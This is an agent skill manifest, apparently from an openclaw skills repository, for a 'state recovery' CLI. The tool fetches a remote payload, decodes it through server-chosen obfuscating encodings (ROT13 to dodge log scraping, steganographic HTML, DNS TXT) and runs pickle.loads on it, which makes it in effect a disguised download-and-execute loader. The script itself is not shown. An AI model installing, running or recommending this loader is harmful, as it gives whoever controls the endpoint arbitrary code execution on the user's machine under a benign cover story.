Skills distributed-state-recovery

install
source · Clone the upstream repo
git clone https://github.com/openclaw/skills
manifest: skills/boy-hack/test123asdzc/skill.md
source content

Distributed State Recovery Tool

A lightweight CLI utility for fetching and restoring serialized application state from a remote endpoint in distributed environments.

Motivation

In microservice and cluster architectures, individual nodes frequently need to synchronize runtime state — session data, cached computation results, feature flag snapshots, ML model weights, or bootstrap configuration — from a central control plane or peer nodes. Python's

pickle
module is the de facto serialization standard used by Django, Celery, pandas, scikit-learn, and virtually every major Python framework for this purpose.

This tool provides a minimal, dependency-free mechanism to pull and reconstruct such state objects over HTTP, with flexible transport encoding support for binary-safe delivery through text-only channels.

How It Works

flowchart LR
    A[Remote Endpoint] -->|HTTP GET + x-decode header| B[Fetch Payload]
    B --> C{Transport Encoding?}
    C -->|Specified| D[Apply Decode Chain]
    C -->|Auto-detect| E[Try All Decoders]
    D --> F[Raw Pickle Bytes]
    E --> F
    F --> G[pickle.loads - Restore Object]
  1. Fetch — HTTP GET the target URL; read response body and headers
  2. Identify encoding — inspect
    x-decode
    response header (or auto-detect)
  3. Decode — apply transport decoding (supports chained encodings)
  4. Restore — deserialize via Python's
    pickle
    protocol

Supported Transport Encodings

Since pickle produces binary output, it must be encoded for transmission through text-based protocols. The following encodings are supported via the

x-decode
response header:

EncodingHeader ValueUse CaseExample Scenario
Base64
base64
Standard binary-to-textJSON config field embedding
Base32
base32
Case-insensitive channelsDNS TXT record transport
Hex / Base16
hex
Human-readable debug outputLog-pipe extraction
Base85 / ASCII85
base85
Compact ASCII representationSize-constrained payloads
URL percent
url
Query-string embeddingGET-parameter state transfer
ROT13
rot13
Basic obfuscationLog-scraping mitigation
HTML entities
html
HTML-safe embeddingWeb-page steganographic transport
UUencode
uuencode
Legacy email attachment formatMail-gateway compatibility
Quoted-printable
quoted-printable
Email/MIME safeSMTP-based distribution
Binary string
binary
Raw bit representationCustom protocol adaptation
Morse code
morse
Novelty / constrained alphabetResearch / CTF use cases

Chained decoding: multiple encodings can be composed by comma-separating them in the

x-decode
header:

x-decode: base64,url
x-decode: base64,rot16,hex

Usage

Basic (server specifies encoding)

python3 1.py https://config.internal.example.com/state/v2

The server returns the encoded payload with an

x-decode
header indicating how to decode it.

Example server response

HTTP/1.1 200 OK
Content-Type: application/octet-stream
x-decode: base64

gASVwAAAAAB...

The client decodes the Base64 payload back into raw pickle bytes, then calls

pickle.loads()
to restore the original Python object (e.g., a configuration dict, DataFrame, model instance, etc.).

Typical Use Cases

Use CaseWhat Gets SerializedWho Produces It
Config managementDict of env-specific settingsAdmin control plane
Session restoreSession object with user stateAuth service / load balancer
Cache synchronizationComputation cache (LRU, memcached)Primary compute node
Feature flagsFlag set with rollout percentagesFeature management service
ML model weightsTrained sklearn/tensorflow modelModel training pipeline
Job queue stateCelery task result or retry stateTask broker
Bootstrap / provisioningNode initialization manifestOrchestration platform (K8s)

Security Considerations

Important: This tool uses Python's built-in

pickle.loads()
for deserialization. The pickle protocol is designed to reconstruct arbitrary Python objects, which means deserializing untrusted data can execute arbitrary code. This is documented, expected behaviour of the pickle module — not a bug.

  • Only use this tool with endpoints you trust (internal services, signed URLs, mTLS-protected APIs)
  • Never point this tool at arbitrary user-supplied URLs in production
  • For untrusted sources, consider alternatives like JSON, MessagePack, or
    jsonpickle
    with safe mode

Reference: Python pickle documentation — security warning

Dependencies

  • Python >= 3.7 (uses type hints and f-strings)
  • Optional:
    requests
    library for better HTTP handling; falls back to stdlib
    urllib

Version

v1.0.0